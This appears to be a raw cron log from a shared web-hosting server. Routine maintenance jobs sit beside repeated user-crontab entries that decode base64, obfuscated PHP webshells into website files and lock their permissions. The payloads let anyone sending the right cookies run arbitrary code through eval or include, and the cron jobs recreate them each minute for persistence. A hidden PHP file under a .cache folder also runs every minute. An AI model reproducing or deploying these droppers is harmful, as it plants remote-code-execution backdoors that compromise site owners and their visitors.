Mar  2 07:23:01 medusa CROND[7244]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:23:01 medusa CROND[7229]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 07:24:01 medusa CROND[25282]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 07:24:01 medusa CROND[25382]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 07:24:01 medusa CROND[25423]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 07:24:01 medusa CROND[25430]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:24:01 medusa CROND[25429]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 07:24:01 medusa CROND[25431]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 07:24:01 medusa CROND[25433]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:24:01 medusa CROND[25435]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 07:24:01 medusa CROND[25441]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 07:24:01 medusa CROND[25442]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:24:01 medusa CROND[25443]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 07:24:01 medusa CROND[25444]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 07:24:01 medusa CROND[25445]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:25:01 medusa CROND[12068]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 07:25:01 medusa CROND[12072]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 07:25:01 medusa CROND[12084]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 07:25:01 medusa CROND[12089]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 07:25:01 medusa CROND[12159]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 07:25:01 medusa CROND[12342]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 07:25:01 medusa CROND[12343]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:25:01 medusa CROND[12344]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 07:25:01 medusa CROND[12345]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:25:01 medusa CROND[12348]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 07:25:01 medusa CROND[12352]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 07:25:01 medusa CROND[12353]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 07:25:01 medusa CROND[12346]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 07:25:01 medusa CROND[12350]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 07:25:01 medusa CROND[12366]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 07:25:01 medusa CROND[12367]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 07:25:01 medusa CROND[12368]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 07:25:01 medusa CROND[12370]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:25:01 medusa CROND[12371]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:25:01 medusa CROND[12373]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 07:25:01 medusa CROND[12365]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 07:25:01 medusa CROND[12379]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 07:26:01 medusa CROND[31463]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 07:26:01 medusa CROND[31483]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
